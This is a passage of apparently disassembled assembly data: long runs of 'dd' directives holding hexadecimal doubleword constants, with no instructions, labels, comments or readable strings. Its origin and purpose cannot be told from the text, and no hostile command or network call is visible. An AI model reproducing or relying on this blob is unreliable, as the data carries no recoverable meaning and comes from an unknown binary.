0DF317D0Ah, 0CF40DF32h, 0A0303687h, 702A343Dh, 2157CE7h dd 62CAF8C3h, 415F2911h, 5B810A6Ch, 335069C5h, 0CB047F7Eh dd 590BB692h, 82204C5Ah, 9213BDE7h, 0A74963D1h, 83A85F14h dd 57562FA0h, 4999E9D8h, 5717BF8Dh, 5131C8F8h, 0A7D1883Dh dd 310A037Fh, 6AC0B9C6h, 48F73A64h, 360097DBh, 355F2F72h dd 835071ACh, 629F4BEEh, 0D211D4A5h, 68E1E7FEh, 0DE786B2Eh dd 840812C4h, 0FD68D4A2h, 220B416Fh, 62BFD26Bh, 0F0486CDFh dd 5C1EAF05h, 3B897517h, 499057BDh, 0D9C712C7h, 7F35BDDh dd 4A107D08h, 0F6D080D3h, 0C13880D9h, 59CB07A2h, 0EB82F328h dd 519C7637h, 46A430h, 680BF009h, 6B353D6h, 0AEB15185h dd 33737630h, 0EAE2E7CEh, 0D92FAECDh, 0D7D9E943h, 0B2BCE984h dd 16D2E3AAh, 71EB0144h, 0A5265CA6h, 4A3AD716h, 42A918E8h dd 9904695h, 45087EBBh, 80F58055h, 90263546h, 4EFA1F5Ah dd 14CAED7Ah, 7752B55h, 3A8B2E74h, 1CA28CE3h, 29954DACh dd 910DF4Ch, 0C5290485h, 3EA98958h, 0EBC4BF59h, 4B42B726h dd 1189C31Fh, 44AE43Ch, 9F685058h, 0C9E7A842h, 581E29A2h dd 0DFE7063Bh, 0DE39BB6Eh, 627E6117h, 1BC21EB8h, 1C0D154h dd 310420B9h, 84E9677Fh, 622074E1h, 972709B0h, 0BD094D53h dd 5079BFEh, 6E055AE2h, 0F15670ACh, 97534F50h, 173D7FFBh dd 60FF5B13h, 3A5EE9B8h, 0AAE6EBC0h, 0EC6EAD2Ch, 0AF953AEEh dd 0F0291C8Ah, 27DA0CA3h, 0B12CF229h, 983D9E71h, 0BE16E12Ah dd 0C34616CCh, 7F23FA5Dh, 0BBBE0019h, 2B4758E4h, 0DD9A7C68h dd 287F2A98h, 5CA490B5h, 9765B4EFh, 0F8DECD07h, 6882D769h dd 3F4CF6CEh, 0F5A554E5h, 57E01AD5h, 359109E0h, 0F41E5AD6h dd 0FDFE4249h, 8975A31Ah, 1203157Bh, 0D6CABA55h, 0DF7A8700h dd 0F2F4BD2Bh, 7D2E3127h, 0EE5A900h, 7D585F26h, 497B04EAh dd 86AB24B1h, 44C41296h, 3780A0D6h, 0BFF8215Dh, 77243A65h dd 9633DB16h, 70F1CA53h, 0B0351CB2h, 8D925EDFh, 3AE00E98h dd 0C0EB52B4h, 0F54A2DE3h, 95FBFA8h, 51CD3994h, 277F2020h dd 5C44537Ah, 0CEAE919h, 923B5824h, 0EDF7A4F1h, 0D7E98443h dd 633EE42h, 7765F6BAh, 5F0AB550h, 0B4E9424Bh, 0C0BD12C8h dd 4FE8421Eh, 14F2199Ch, 0D59EFD5Bh, 0D2418C90h, 6FE46E30h dd 2D8561CBh, 0CD25BEF4h, 0BF370EBFh, 755CC419h, 68BEE582h dd 53E64B79h, 0A1CBBED2h, 1B7AE90Ch, 0D125684Eh, 6040563Bh dd 40112FBBh, 0B4BF6703h, 24A7BEFCh, 1218DE16h, 3F34E00Ah dd 0CA3D0725h, 208092Dh, 0F1F4CE7h, 514C04D2h, 63BA00A0h dd 0F446FE2Dh, 0F7DE6B29h, 0F9539076h, 0DD3F420Fh, 9182DA6Eh dd 68075B57h, 59983214h, 0B01212FFh, 2D5413D6h, 5DEEEC11h dd 15BF5702h, 75306948h, 0FFE9E2h, 0AA6A8370h, 0D2B9004Dh dd 0E9FF59B2h, 0A1951E23h, 80362AA3h, 4EE9520h, 79C04DC7h dd 85B9C529h, 0F03121BFh, 0E7EC24AAh, 440748h, 0EA145C35h dd 32E9FE31h, 0ADBD23A1h, 0A66FF276h, 51015A8h, 0E8C0D0F6h dd 1F32F804h, 81D2732Ch, 8AF04A84h, 41B913F6h, 4B2A1264h dd 0A62A6957h, 94B0081Bh, 2D9E5C2Fh, 32BD2CD8h, 81F375D9h dd 6280E90Bh, 7416D7D6h, 6C306818h, 99B4A729h, 165AAEFCh dd 206A1E52h, 16FDEA82h, 4E2F2723h, 68FA9A98h, 9E605F82h dd 0CA7E8482h, 2CC8313Fh, 808F048Eh, 0F65201CEh, 5AE52454h dd 12A4EEE4h, 313CA868h, 0F40EB5CBh, 282ED4C5h, 0E98413EEh dd 0B405E0h, 804F00A2h, 94E28132h, 1A3B3F1Ch, 24758C1h dd 0B614D9C2h, 3AE84491h dd 700A54FAh, 26060558h, 2B62CF36h, 0FD46CBh, 99290B73h dd 0CF015C43h, 0EA733713h, 0ABB27277h, 71ED7D3Ch, 93040888h dd 237AF156h, 7A3781C8h, 89204348h, 0B78516CDh, 0E9D203BCh dd 2A1788EDh, 25E95F54h, 0EB5BDF84h, 867AB92Dh, 1F984A23h dd 21385317h, 0E0002CADh, 0F7223424h, 0ED09C1DDh, 2077E903h dd 51D3F601h, 80B605B5h, 0E808EBF5h, 99C31E89h, 28FBF342h dd 94D243D8h, 3B83D8BBh, 0FE56BD40h, 13BBCB5h, 55B3F68h dd 0E22B6023h, 6B46BB09h, 1DA40215h, 0EE9B6801h, 930405ABh dd 995D56F3h, 1D9FA682h, 0BCD5200Ah, 0FABD546Bh, 5536EF44h dd 0A0516726h, 2D730B8Ah, 518C296Bh, 12022012h, 0CE81684Bh dd 4E3FE19Eh, 0D88E969Eh, 1FF60C71h, 9472252Eh, 0F9293631h dd 5DF21E61h, 6325C14h, 0DD467405h, 519D8648h, 27554D26h dd 0A92F312Ch, 80A47501h, 0F2472119h, 7C38100h, 54EA3E16h dd 1EDB0B10h, 0B417C2Ch, 4103E945h, 94C544A8h, 485959FFh dd 0CA01800Ah, 0E9DAF635h, 0A82A1A79h, 818BD489h, 4B9F56B8h dd 4A9B9C60h, 2C172979h, 4E24026Dh, 0DC5B51DFh, 789842C3h dd 4CDE4DDh, 3A3558E2h, 0BCBF801Eh, 0F14FC5CFh, 0F85DD8C2h dd 0EE887D22h, 0E8B6636h, 0D2E43A59h, 0B33C62C1h, 0C42BD8C9h dd 0F25E827Bh, 0A0439C5Fh, 8039B80Dh, 71682B9h, 46BF3EB3h dd 97320B60h, 1F0550B5h, 0E4B9D73Ah, 0CA2D818Eh, 0E434E868h dd 7A105D8h, 3E02D95Bh, 0FDD6D7F3h, 0C37C3EA5h, 0EEE34E73h dd 0E8009E69h, 4EE803C1h, 0E649EE0Ah, 0F8F7F231h, 52492D42h dd 0B504F17Ch, 4C10732h, 8078E5E9h, 689CF45Bh, 3D8A6FB0h dd 7D638955h, 5F17E347h, 6D4AC731h, 170BFA05h, 302BDAFDh dd 660D56B9h, 521F5351h, 0EC0E08B6h, 0CBAE134Bh, 0E1197FC8h dd 0C8980125h, 0AADF44h, 0F8424BD8h, 0E34CC170h, 0FA231C2Bh dd 2DFC162Fh, 10DA998Ch, 66879125h, 4468175Eh, 0A22EB841h dd 9812505Bh, 393E3282h, 0EC705D80h, 0E66C5E2Fh, 12F14B64h dd 1CDB4492h, 45FA1248h, 0B4C7C5C7h, 31392167h, 0CB5F7BD0h dd 0DDBAD400h, 9433AE77h, 2D592588h, 68B94062h, 0C5079971h dd 0EEB4CED5h, 9DE6AF33h, 3D26F1F3h, 52011FA4h, 0EF8D84EBh dd 7CD83E79h, 0C1C7C97Eh, 71E1967Fh, 0E2758209h, 7AC100D3h dd 951ED847h, 8A72DED0h, 52E12725h, 0E9CB1318h, 4FBCB89Fh dd 0AD4F7BDBh, 0A0688266h, 82DCD95Dh, 256F2916h, 0C5F3A05Dh dd 4C4B0B4Fh, 4A60D9B8h, 0C4116CBFh, 0EEE9250Bh, 60115463h dd 242642Ch, 0AEB25E60h, 20EA309h, 0E00AEB81h, 44F7F3AAh dd 22A4017Bh, 4EE91AF2h, 5946AD98h, 40F469B0h, 80CEA554h dd 65440DBCh, 2A7201E9h, 0F617B0E0h, 26B2C328h, 0EF373634h dd 0FA6D7DA1h, 9A73204h, 0C3B4EF43h, 0A8D132E9h, 1156E263h dd 1F5F0569h, 13BE6184h, 0F4592956h, 539DCEA0h, 0CC82DC4h dd 9B12197Bh, 5B04D10Fh, 99A5E747h, 3030FB49h, 95681DC9h dd 38C6803Fh, 294E907Ah, 4CE9CE0Dh, 0A12A3319h, 96E02A53h dd 0D3CED002h, 50685600h, 5E25E630h, 220158B1h, 89A2B5D7h dd 6D625201h, 6E661CE4h, 0B094CE6h, 914C5509h, 829C02F4h dd 5BC9E51Dh, 1EB5728Eh, 8C705552h, 0E34D3EE8h, 0A54A60Bh dd 1FAEE013h, 9710EE50h, 9981694h, 9A6BA30Bh, 99A08F06h dd 86885264h, 7727D599h, 8415A32h, 0C9BF008Bh, 44AD3D59h dd 0B5A66E1Ah, 4C22F89h, 31593060h, 94F9BBCh, 6823C015h dd 4CC0ECBBh, 0D920715Dh, 0A3398912h, 74D44804h, 8B754D09h dd 3197027Ch, 0ED4D4061h, 1BF23CB1h, 277A29ACh, 6413B522h dd 25BF64F9h, 0D5080929h, 3B93624Ch, 3EAC28B4h, 75849574h dd 78FBF15Ch, 7568C300h, 0BF312F5Fh, 0B1CB9968h, 4A48E1E0h dd 22E9B083h, 0C071927Fh, 3238AFDEh, 0DB5CF77Ch, 11B1348Dh dd 4FB52FEh, 133362B5h, 56B1EE01h, 0DB477EF7h, 5AAB72D2h dd 495B78F8h, 5E25ACB7h, 0F4C9CED1h, 0E41425B6h, 1867549Fh dd 683E06A0h, 0AD2CDD26h, 69BD16C3h, 68F5F83Dh, 81EDA7ACh dd 88A42B31h, 0FC82D32Dh, 33F009DFh, 7940DF92h, 0F1825EEh dd 0D70C6BEAh, 225D2C5Eh, 87F58918h, 4D81C57h, 0F471D4BAh dd 66C4FE31h, 41A89C52h, 1CE0996h, 0F7EB9E76h, 3B5C8891h dd 2F3264E6h, 51F65ADBh, 98CB42C6h, 9A79058h, 4CB34896h dd 33934F09h, 3E05801Ch, 574E55CBh, 20071D88h, 68B240D4h dd 807F37A2h, 8E254568h, 0BAC1D62Bh, 620B9350h, 70FCE924h dd 116497EEh, 680C2C42h, 0DBBF5045h, 2B221A4Eh, 8A44FF5Ch dd 7A29DE22h, 75598112h, 0C1A2E7BCh, 707D3A4Ah, 97BD2AA1h dd 5BDD2D95h, 0C072B0Bh, 0BB120E3Fh, 904506D9h, 8B660EEBh dd 0B72DBAD3h, 78169D39h, 475BD3E7h, 4268FE01h, 0FA8759A1h dd 0E31169Dh, 0D097E4E9h, 0A70E1938h, 0D37D117Fh, 69A18EAh dd 425FBF24h, 29C99AC7h, 0C25FDE6Fh, 66D5FF76h, 0ECC9F3B4h dd 35D412A5h, 632B0B9h, 90DBF65Ah, 13009872h, 4A3CE9D8h dd 6FA525Bh, 541A79CFh, 6885D354h, 0C631E32Fh, 35AF091Dh dd 0BCC85D29h, 0B9805362h, 1457795Bh, 0A6E1D163h, 5C508820h dd 0FE4EF060h, 0E081B6A9h, 0F83D1671h, 0DB9F1F75h, 0F740A59Fh dd 2A5B9417h, 6A68AE00h, 24E9462Bh, 0C2EE86E1h, 0D709F4CFh dd 0CB0D79E8h, 6E4A9DECh, 350006ECh, 0FFB192Bh, 550B2D40h dd 0F8C4C67Dh, 5BC8A0A4h, 59342745h, 0F6DE7839h, 6DEE7155h dd 0E7A67E08h, 2AAF5410h, 0C30420B8h, 18796858h, 154E4F91h dd 7279A4ADh, 0AB655660h, 0B2249809h, 2A9C3Eh, 6801C283h dd 189D5BB1h, 2D4F1356h, 16232A30h, 5C1F34EBh, 0E7DFF331h dd 0FCCDBDE6h, 2F66A32Bh, 0DFD112DAh, 0B9805FC5h, 166A13E3h dd 96630E9h, 24ECF2Dh, 0A3F0964Bh, 0B3CC140Fh, 247DA134h dd 2F18F11h, 6D77E9FEh, 0C0455671h, 2D53B6B0h, 0C9E08FB7h dd 0E73B80C7h, 50DF9F20h, 88AFB343h, 7FEC7CDCh, 0CF75C58h dd 0A3EF5517h, 0D49219D0h, 0C86F214Ch, 0ED4E5AD5h, 0B18584E9h dd 0B06D25C0h, 4340D189h, 8E63BF59h, 0CEA5A38Fh, 0FB27C885h dd 66AC1A4Dh, 80453BCCh, 5E525195h, 0CAFB5F68h, 0A6BB2F38h dd 0CD2908BDh, 160F8D0Ch, 0DCC4D808h, 0A8F3EF80h, 24B2860Ah dd 6B209C90h, 37F897D0h, 256079B5h, 799736F7h, 0B10E54E9h dd 303A05C6h, 0DC591278h, 0F719EE65h, 0CECC6518h, 90082AA0h dd 77A48A49h, 759691F8h, 6B38F7CBh, 3E93FEEEh, 0EEA54F12h dd 0DBEAC4DFh, 0CDE91317h, 0A2BB4082h, 46480Ah, 1A88595Ch dd 0BDFE6497h, 0E98472E5h, 288AB306h, 3BB33D5Bh, 68D01B8Dh dd 0B81B4BC0h, 0BFC4F45Bh, 984945FBh, 0E0C21288h, 3A4C2C56h dd 0FDB92E9Bh, 0D253C417h, 0DB3FE445h, 93A4F881h, 83FBB7Dh dd 71970C73h, 0D10C7E30h, 0DEEF9E3Dh, 0FC3BF7C3h, 0C8B58858h dd 61EDC02Dh, 69D731Ch, 0BEE58F01h, 8810F521h, 84A17EEAh dd 98D78A3h, 9A845756h, 485805DEh, 0F6FEC0BEh, 4D275A13h dd 3130DD01h, 31184EEAh, 6E0C0FBFh, 60750330h, 2A43E956h dd 0AEB4614Fh, 0A2DA5EFDh, 0B5A6D87h, 292CF4F5h, 0B47DBB4Eh dd 0C14DB82Ah, 5526C781h, 0C846DFDh, 85071853h, 2BEC0B9Bh dd 0F18240E3h, 80D5957Dh, 5253C1FEh, 0CC4AB151h, 5BB3DBE0h dd 2F2BEC0Dh, 5AEF814Dh, 1F30F480h, 78A570C6h, 0F2EE75E6h dd 69F06528h, 9517C25Ah, 2CD00500h, 3567075Bh, 197F1E36h dd 0FB2E1F85h, 9B4ACFD8h dd 73B81EAAh, 3281BA6Eh, 1E4E6091h, 5D65A85Eh, 49F7B288h dd 0FB3BF592h, 851ED5A4h, 8C027468h, 80FEB6F5h, 3AF8EC38h dd 0A7C4BAF4h, 0E57450E9h, 8232F36Fh, 2802BE56h, 0D7202F1h dd 6A7D1E5Ch, 0F3080844h, 642DDDA5h, 1CB72A0Eh, 0A8F2D5C4h dd 99169EF4h, 0EE2F7FADh, 23179CFCh, 0A7EAAF83h, 0C5268F83h dd 0B056DA72h, 0C9A0E933h, 7D765239h, 48A40394h, 95CB3BA5h dd 48A4E865h, 815F09A9h, 8632DFC5h, 6474F7A9h, 3E7E042h dd 0BBAEFB5h, 5AFB3D6h, 9D0E280Dh, 2DAB728Ah, 2B230EEh dd 0E95857BEh, 0ED135AF1h, 8790C454h, 7CC170FCh, 7E43F915h dd 0BB3CA2C7h, 1EACECD0h, 0C32A5933h, 12175C5Ah, 79D368A0h dd 8229ACBBh, 2D29DF25h, 8E1A82F5h, 827D0BF8h, 7BB20982h dd 96C51034h, 0F7DD5C72h, 0E79F8E16h, 715E2597h, 0FD8D71C6h dd 25C667E2h, 0E98405F9h, 30BFEA58h, 996855E7h, 3BD3751Fh dd 9360ECCAh, 8E877569h, 1748F285h, 23D2F5Eh, 0B231F668h dd 693E5E23h, 0E91CDCFEh, 95236516h, 0BE4F1E8Eh, 38920FCBh dd 0A8A49744h, 0E4DAC47Bh, 0E8878C12h, 0B492790h, 2DE2404Bh dd 0EE495D28h, 59E6C625h, 95FCBCDh, 8DD07190h, 3A10529Dh dd 19AB3CA4h, 0C5E0549h, 0DEDEAF37h, 0DF5D1EEEh, 4144FC2h dd 132DF005h, 3BCF0207h, 0B0C06C7Bh, 0F1D40E9h, 0C98113D0h dd 4E5E199Fh, 3F05E1F0h, 49BEEF21h, 92FC197h, 0E075D321h dd 4120454h, 57E91A4Ah, 5D50CC64h, 37631BF2h, 0C9EEB912h dd 187A1EDAh, 3A446E85h, 74933827h, 23138B5Ch, 0FDA60B65h dd 2CAC27E4h, 0B6B6D84Ah, 8802295Bh, 0D42EBE68h, 0E877792Eh dd 1345C10h, 81264C1h, 0A43785F6h, 6845CCC9h, 65659B2Dh dd 0C6B882Ch, 4AA8FE17h, 95F27F2Ah, 187A4EC2h, 38A35A4Eh dd 68E0D302h, 0B7517FF2h, 2237DB80h, 0E4CD8123h, 13AC0663h dd 9701C583h, 6EE86814h, 2AD38019h, 2DE902ACh, 27797825h dd 8FBC123Ch, 297B99E7h, 459D6ADDh, 3E6CDC5Bh, 0CD2A025Bh dd 0A806494Eh, 507C4580h, 4B710AB8h, 0EFFA6C50h, 22C16881h dd 1272C276h, 27566A3Eh, 0A91036D7h, 6392EB5Eh, 7823565Dh dd 0F34FF9E9h, 12B02088h, 9C8FE59h, 0F70279Bh, 3238B800h dd 5401F93h, 200E1D8Dh, 0DF4F4047h, 0E8E9D951h, 0AAA4ED5Bh dd 0A164634Eh, 3E0052E5h, 106E313Bh, 25D91FBAh, 747E6A78h dd 0B25EF4Ah, 0BE7523h, 13436816h, 9137DCE3h, 526BD225h dd 0A3AE2545h, 2F3B8A88h, 0D0037D8h, 5B276155h, 780A812Dh dd 0C7892CAEh, 752C106Bh, 11B4AD4Bh, 0A22BF587h, 219D8DA3h dd 899E163Fh, 5B3F08B1h, 62926814h, 0C40A9459h, 5F02FF57h dd 0C57FC731h, 0E90730BFh, 509B9ED8h, 0FC9DB209h, 6F8B7110h dd 52BB3100h, 30E7A4Ah, 776E381h, 0C045CF8h, 70CB4C03h dd 0F0CB87BEh, 52010CF3h, 4EA51C58h, 0ECEA7190h, 58093342h dd 20B1E40Ch, 73897A27h, 2CFF26Dh, 9CF73CA9h, 9409543Fh dd 6775EC5Bh, 0D4F2BB1Bh, 2B4BF1A6h, 513D8FB2h, 358373A7h dd 0D8637C01h, 2290E14h, 0C112C59Bh, 5DF6DB0Dh, 35023526h dd 606B8A11h, 9AA9E9C2h, 0BDC1BFF5h, 3A953920h, 18DEBD5Eh dd 0BE1432C5h, 38470028h, 5A7A053Ch, 8AF92DBAh, 0D1BCF242h dd 4CE3AB8Ch, 499A03B8h, 962D1BBFh, 78B70B40h, 0AEA5C4A5h dd 1813A852h, 6601C886h, 0EEC05A0Ch, 2D070605h, 62F8D6F6h dd 87756DC8h, 40AB6BBh, 0F3DF801Ch, 31177668h, 70401AE9h dd 0B450D2F6h, 0D746F4A6h, 0C120803Fh, 70372BC3h, 0E03F0C3Fh dd 0DFE97F1Ah, 0E9CFBA54h, 13BD3770h, 0BBD85D69h, 0D654F0Dh dd 3F22BD2Ah, 2B9AEE9h, 0E30B5065h, 5881D2EDh, 0C281B9BFh dd 0EA525558h, 0C29FEB50h, 0F699DA37h, 6A299295h, 5BA7648h dd 8731734Ch, 1CACF29Eh, 0F5DDDEAh, 8FA53C33h, 0B7532483h dd 0B1592BC1h, 0FF71463Bh, 77BE977Eh, 0F6E06412h, 284916B7h dd 347606EFh, 0BE00ED10h, 306D2DC2h, 0E0ACEE81h, 0E9120B08h dd 0A4A2C692h, 597D5B58h, 6FC70E4Ch, 96EAF613h, 9A9FF7B2h dd 53879F9Fh, 5E79F914h, 0BB2E899Dh, 85A5606Bh, 0EB198878h dd 919F0482h, 2285DEECh, 0C49AFB53h, 0FA2F0748h, 173DF5D3h dd 35C82B47h, 593800BFh, 0EF8157C1h, 12C2EE9Fh, 0D4121CE9h dd 9BB8ECEEh, 1729C352h, 2BBB348Bh, 0BB531079h, 0B40FF090h dd 6F29334h, 6DF4A512h, 4337C701h, 0F831B915h, 0EDB2292Ah dd 964A80C3h, 2957BE2Eh, 86E925DAh, 59975ED0h, 51DBE9AAh dd 0D111173Eh, 645D81D8h, 8CC137D5h, 29D3CC49h, 0E5B04B01h dd 0B6D8642Ch, 0C68003DFh, 4E6C092h, 63BCEB3h, 0F8B5F0EEh dd 0EFCF2066h, 0F439CDFCh, 0E5C08CFEh, 3B070604h, 1243BE9h dd 30044F14h, 0F9090586h, 98F17B75h, 1E1EA22Eh, 0EF4AE829h dd 0DD9FB8BEh, 1D5F888Ch, 0C5EB4D8h, 0F3D5F864h, 0BFB3050Bh dd 516ECB70h, 123D75F2h, 0E118A05Bh, 9E30F641h, 9E4545C6h dd 0A742518Eh, 0FE0F2542h, 0FFCD08EAh, 73FF521Dh, 7FE77751h dd 8D30A80h, 7A6C670Fh, 83030456h, 9610DA6Ah, 311251E7h dd 0EA3C0FCAh, 9AF281C0h, 8D4AB980h, 116A2E91h, 4710B6Bh dd 58C30376h, 45AFC568h, 0E818C58Dh, 1EA4C495h, 0E6C412A2h dd 4C1BF7D4h, 68410458h, 56823E2Eh, 0AB0C2C01h, 312A6F04h dd 58805156h, 4E3E15D7h, 0EA07C470h, 0D42F7741h, 0A957EB86h dd 0EFD3D725h, 0C188E528h, 80E6407Fh, 27F0E379h, 0FAA9425Fh dd 52D53D82h, 0ED87645Ch, 5A16A704h, 4BC99056h, 0A290B868h dd 956A7828h, 0E97053D6h, 0ACEE4AF6h, 0ABCFCBF7h, 0A0B25857h dd 4B713B20h, 0AAB13434h, 562D04B3h, 0D3287882h, 14EBCA82h dd 1DE5A0Bh, 2B1A0F2Dh, 30DFCB81h, 70957398h, 32159088h dd 0D371170Ah, 70FDB160h, 9222413Eh, 0ECC3244h, 72100C8h dd 38F9352Bh, 564853F8h, 0A7491032h, 230E053Bh, 54A11A4Ch dd 3E07A91Fh, 0A72D89FDh, 0C493EB56h, 0B55568EFh, 0B920A190h dd 0BF57010Bh, 7F821E4Ah, 290540BEh, 60E75FFEh, 0CA4A57FDh dd 7AB32D77h, 0B6EB84CBh, 91F85BEBh, 2E9B93B1h, 6C610B47h dd 248072D4h, 128008A1h, 4FDDF76Fh, 2964C523h, 9202AAABh dd 8508F8E5h, 33C05286h, 0F837445Bh, 1856EECAh, 0E4278C8h dd 7C2406FFh, 58006232h, 0E9802760h, 81B26435h, 37A1AA64h dd 0F94C0F20h, 9D2DB32Eh, 56AECD81h, 0F320267Dh, 12050B78h dd 5BC85925h, 85A46F22h, 6A215A1Bh, 4973B190h, 3D701FD5h dd 3A3D16D7h, 0A62207AFh, 0EB3F6445h, 7ADBE206h, 51EE073Fh dd 60187456h, 9061B6CEh, 0E0F618C1h, 0BE609119h, 0E3D00CC6h dd 0E73020CFh, 4F655F18h, 0F8322724h, 19E2B519h, 1B41A61h dd 737180B2h, 46AEA42Bh, 6EEFA4FCh, 4B4A45E3h, 0F1F82075h dd 0C90166B2h, 683C344Ah, 0BC3C1D93h, 0F81EA5C1h, 0E1002B5Bh dd 413EB951h, 0C2464B79h, 697F49C1h, 136B8E2Bh, 7464FA6Dh dd 0C0FB62FAh, 34A6FCCBh, 60D1D381h, 0E6EC5823h, 0B06EEC41h dd 200CE5ECh, 20665AF1h, 0ED087772h, 0A8B0F7E3h, 919683E9h dd 0C2FE81E9h, 230D1468h, 7CB400A6h, 0F607E4C0h, 0B25202D4h dd 0FAF9E937h, 2D5420DDh, 7C446838h, 49555B66h, 0DDC64Bh dd 0C32A494Fh, 0D7F7177Bh, 54310F4Fh, 9371BB52h, 311114D3h dd 0EED001DEh, 0BB93C0F6h, 4EC67D28h, 0DCAD170Dh, 9B93569Ch dd 0B3C04869h, 0FB9A9DB4h, 4090B2F0h, 70A5F25Fh, 5DB3B2D6h dd 44BF17CCh, 0EF09B381h dd 10916206h, 25295848h, 8CB355A3h, 250AB8ACh, 58F2FE5Eh dd 0E98040A6h, 0BFABDC8h, 0FEEF8832h, 6570B7Eh, 0F81DA9F1h dd 3A3C9CD3h, 90794B4Bh, 0BE2D88F4h, 9D6812A0h, 0F4A2E87Fh dd 13D89D50h, 5E927BC0h, 828A7C02h, 0A3B935E0h, 42890FE8h dd 7595304Fh, 5420C4A1h, 3533C3Fh, 0C4054001h, 7AA9FCACh dd 0D2455E97h, 0D266855Bh, 3E47D7B2h, 6E63D226h, 4609877Dh dd 0E07EA16Dh, 60B257C2h, 0B040EEFDh, 5A72014h, 6BD4BF0Eh dd 0FB31E59Dh, 49E45699h, 0D4DB7F09h, 53206734h, 3FC6B901h dd 0C8294DE0h, 4478CC7Fh, 208C14BFh, 49E66842h, 0CB000C48h dd 0C62F954h, 0BD1AA12Ch, 96782D00h, 91F58107h, 2F451717h dd 0EEE5C2F7h, 63C38000h, 7F681259h, 0EDCD6371h, 0CC33ECF1h dd 46B082C4h, 0D0F32662h, 0FFC4DD5Ah, 0E6387627h, 6DBE2523h dd 3CC277D6h, 29C08E8h, 49421EFEh, 600C8277h, 27F809F8h dd 0D37AF10Dh, 14FCCB65h, 304AC6E2h, 6420A2E8h, 2633FA58h dd 442D0119h, 8CC2FF66h, 0E9CBA2A5h, 84685D16h, 0D782DC38h dd 90586C0h, 9D1F9F2Ch, 820D924h, 0E4E2E913h, 0E3078BBDh dd 0F06326D6h, 459A7475h, 0D5D02925h, 0C8015C14h, 0E973DA6Eh dd 0E56399ABh, 6B1A0D7h, 67BAFA4Ah, 0E8FD9973h, 1760B9B5h dd 0FC733426h, 925A7D3Fh, 8743C85Eh, 3DF4EA89h, 89419935h dd 5E5DF558h, 0BB64EF2Dh, 0B931AA82h, 0B26A4357h, 21AE8095h dd 0B0094CEBh, 0FA12A01Ch, 56CF27Bh, 47429905h, 0E3E9C37Ah dd 5E543C12h, 0F9FC8DFBh, 2F947C43h, 25FD5E5Ah, 0E90C38F5h dd 0A8A94B79h, 1AF7A1C8h, 0C8AE8355h, 0B85BE4BCh, 5CCBC6BDh dd 0BBDBEC85h, 0BF700025h, 5F66E9DAh, 0C2E3B987h, 5F36A068h dd 434B7DECh, 6188F822h, 7FEA29FBh, 7EBB43C5h, 102A613h dd 0B6CE68B2h, 9ECE8042h, 2634A9DEh, 15371EAAh, 6607F4DDh dd 4A7C2D68h, 8072031Ah, 63877EBh, 0BEF32411h, 7606EF3Ah dd 49049C13h, 9EE153E9h, 8951F72Bh, 0C778C891h, 0FA132416h dd 7C310963h, 0C387C27Eh, 0F2760DFh, 5DC8AFC2h, 7933EE98h dd 9C13D32Ch, 7EFC100h, 99231BE9h, 81688475h, 0C950E818h dd 0A755CD58h, 30C41CF5h, 0B10AC92Ch, 0D962F653h, 0DC5BDFE2h dd 0DAD47ABCh, 18314342h, 7896BE56h, 74F3AEBCh, 76C5680Bh dd 0B21C6FC5h, 77D65D23h, 39574B38h, 0E9C5F4ADh, 5AD8A00Ah dd 68150505h, 39D43B0Fh, 641071Dh, 5B460B67h, 51017832h dd 89E962B1h, 0BAFD3ADBh, 56E8297h, 72CFEB51h, 8D24C18Dh dd 39599648h, 7614EF25h, 5A3F6824h, 1D185DC9h, 942EE9D7h dd 0F4207E6h, 0F2FD901Ch, 0F7D5CE2h, 5E3CFD41h, 0AC1A9C4Bh dd 9E58D940h, 0F67AC2C1h, 0CB39F0C4h, 31A01Eh, 0C2B1116h dd 9FE9D329h, 35EC515Fh, 35EBA89Dh, 818F8028h, 48E7E1Dh dd 1B88C0AAh, 0BF3435C1h, 10FE0BDFh, 0E404CA8Ch, 0BB01F53Eh dd 51F8ABB0h, 2D380A2Dh, 82C325A4h, 50058453h, 305F2DD0h dd 0FF6A4B69h, 9F685942h, 0E99BF163h, 6E7F1629h, 29AF135Dh dd 68032201h, 48D981E2h, 8030476Dh, 131F43B9h, 8D045D54h dd 4D980E59h, 0E76514A9h, 0CD03D06Fh, 30582ADCh, 3362E5B0h dd 0E96E6106h, 5D5F787h, 1C80D8B8h, 10CDA853h, 21003956h dd 0BF575BDAh, 0EF2CE789h, 96270966h, 0F2D0503Ch, 0D271923Fh dd 7FDFABEFh, 87988720h, 0EC330E5Eh, 78A5E06Dh, 5BF985Ah dd 65D07B8Dh, 3CAD31h, 5FDB29E7h, 9C233C68h, 540D6096h dd 315B4C69h, 82E9C791h, 0E378122Bh, 0F805CA8Fh, 0D8D9E9E2h dd 7AB90087h, 0BD753921h, 0C673DE8Ah, 0A74E27FEh, 0FD2CEDA5h dd 41740512h, 0FEE7B23Fh, 789D70CAh, 5F2EFA83h, 0CB28FDE0h dd 0FB647BF8h, 4AAC050Eh, 14E14586h, 0C6EF00B5h, 7D3F5CAEh dd 83402506h, 1AC0083Ah, 432E3437h, 602C8F9Eh, 52561042h dd 50972EA5h, 7BF9C01Dh, 1CFA4BEFh, 466CF465h, 0B6D48B84h dd 630A8BAFh, 486CE93Bh, 0E0137225h, 0C7690DCh, 515A5747h dd 8C8911FDh, 1E77DCA9h, 0C19B1D0h, 56ADE6A9h, 9D92F6EEh dd 73F46815h, 0DF3C139Bh, 0C39B70BBh, 0CC092EFDh, 88CB0130h dd 0E9060814h, 5B26B5E6h, 2D09A040h, 880A3801h, 414C688Fh dd 0BFAA302Eh, 0FB3C21A0h, 0E9F8864Ah, 488F9B8Ah, 0FC073951h dd 0D2190E69h, 105F88F3h, 0CF590854h, 271C13E4h, 7E7235F4h dd 5CBE8898h, 0D4AF2912h, 91418190h, 0E9C9C745h, 0EE84FB09h dd 0B14B3EE6h, 8BFC6A29h, 0B221D1C5h, 7B680B88h, 696FF623h dd 0A7FF47FDh, 336CA28Bh, 0DE61663Ah, 0DBFF0E06h, 9565EC1Bh dd 0C77F5D89h, 4FE9845Fh, 0C458F5DAh, 1728FD48h, 0AE4D8B5Fh dd 0C6040127h, 44C3685Bh, 0D2C0A36Fh, 80F58DA0h, 295AE34h dd 775DEB9h, 5082DB28h, 15F9EC88h, 9C4E5D49h, 62C9E92Eh dd 75F7B089h, 0BC8A81C2h, 5F31A8E3h, 0D1DCE49Ah, 9FE8CEA2h dd 821D22C5h, 7BE23BDh, 75E11DE6h, 0A372F252h, 1259CBFCh dd 0ED545369h, 35490B72h, 0EE7E006Eh, 0EC48B016h, 74F10BCAh dd 0CC86235Eh, 0C827B11Bh, 54D9C22Ch, 0CA6885D2h, 9E4DF906h dd 